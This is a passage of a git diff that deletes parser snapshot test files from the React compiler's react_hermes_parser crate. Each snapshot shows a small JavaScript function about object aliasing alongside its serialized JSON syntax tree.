-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  50,
-                  51
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  54,
-                  55
-                ]
-              },
-              "loc": null,
-              "range": [
-                50,
-                55
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        63,
-                        64
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      63,
-                      68
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    69
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                73
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        85,
-                        86
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        89,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      85,
-                      90
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    91
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                79,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              46,
-              95
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    104
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          109,
-                          110
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          112,
-                          113
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        109,
-                        113
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          115,
-                          116
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          118,
-                          119
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        115,
-                        119
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    107,
-                    121
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  121
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              99,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                132,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              125,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          136
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        136
-      ],
-      "loc": null,
-      "range": [
-        0,
-        136
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    136
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression.js.snap
deleted file mode 100644
index 902ea85784ba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-objectexpression.js.snap
+++ /dev/null
@@ -1,270 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-objectexpression.js
----
-Input:
-function Component(props) {
-  const a = 1;
-  const b = 2;
-  const x = { a: a, b: b };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              42
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  51,
-                  56
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              45,
-              57
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          72,
-                          73
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          76
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        72,
-                        76
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          81,
-                          82
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        78,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  66,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              60,
-              85
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                95,
-                96
-              ]
-            },
-            "loc": null,
-            "range": [
-              88,
-              97
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          99
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        99
-      ],
-      "loc": null,
-      "range": [
-        0,
-        99
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    99
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-alias-mutate-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-alias-mutate-if.js.snap
deleted file mode 100644
index ddaa0ee0db6f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-alias-mutate-if.js.snap
+++ /dev/null
@@ -1,442 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-alias-alias-mutate-if.js
----
-Input:
-function foo(a) {
-  const b = {};
-  const x = b;
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  mutate(b); // aliases x, y & z
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    30,
-                    32
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              33
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    43
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              48
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                55,
-                56
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          68,
-                          69
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          72,
-                          74
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        68,
-                        74
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    64,
-                    75
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          81
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          82,
-                          83
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        80,
-                        83
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        86,
-                        87
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      80,
-                      87
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    88
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                92
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          109
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          112,
-                          114
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        108,
-                        114
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    104,
-                    115
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          121
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          123
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        120,
-                        123
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        126,
-                        127
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      120,
-                      127
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                98,
-                132
-              ]
-            },
-            "loc": null,
-            "range": [
-              51,
-              132
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  135,
-                  141
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    143
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                135,
-                144
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              135,
-              145
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                175,
-                176
-              ]
-            },
-            "loc": null,
-            "range": [
-              168,
-              177
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          179
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        179
-      ],
-      "loc": null,
-      "range": [
-        0,
-        179
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    179
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-if.js.snap
deleted file mode 100644
index 343223aaef55..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-if.js.snap
+++ /dev/null
@@ -1,362 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-alias-if.js
----
-Input:
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    30,
-                    32
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              33
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                40,
-                41
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          57,
-                          59
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        53,
-                        59
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    49,
-                    60
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          66
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          68
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        65,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      65,
-                      72
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                43,
-                77
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          97,
-                          99
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        93,
-                        99
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    89,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          106
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          108
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        105,
-                        108
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        111,
-                        112
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      105,
-                      112
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    113
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                83,
-                117
-              ]
-            },
-            "loc": null,
-            "range": [
-              36,
-              117
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                127,
-                128
-              ]
-            },
-            "loc": null,
-            "range": [
-              120,
-              129
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          131
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        131
-      ],
-      "loc": null,
-      "range": [
-        0,
-        131
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    131
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-if.js.snap
deleted file mode 100644
index 9bc8f7a1b7f0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-if.js.snap
+++ /dev/null
@@ -1,402 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-if.js
----
-Input:
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  mutate(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    30,
-                    32
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              33
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                40,
-                41
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          57,
-                          59
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        53,
-                        59
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    49,
-                    60
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          66
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          68
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        65,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      65,
-                      72
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                43,
-                77
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          97,
-                          99
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        93,
-                        99
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    89,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          106
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          108
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        105,
-                        108
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        111,
-                        112
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      105,
-                      112
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    113
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                83,
-                117
-              ]
-            },
-            "loc": null,
-            "range": [
-              36,
-              117
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  120,
-                  126
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                120,
-                129
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              120,
-              130
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                140,
-                141
-              ]
-            },
-            "loc": null,
-            "range": [
-              133,
-              142
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          144
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        144
-      ],
-      "loc": null,
-      "range": [
-        0,
-        144
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    144
-  ]
-}
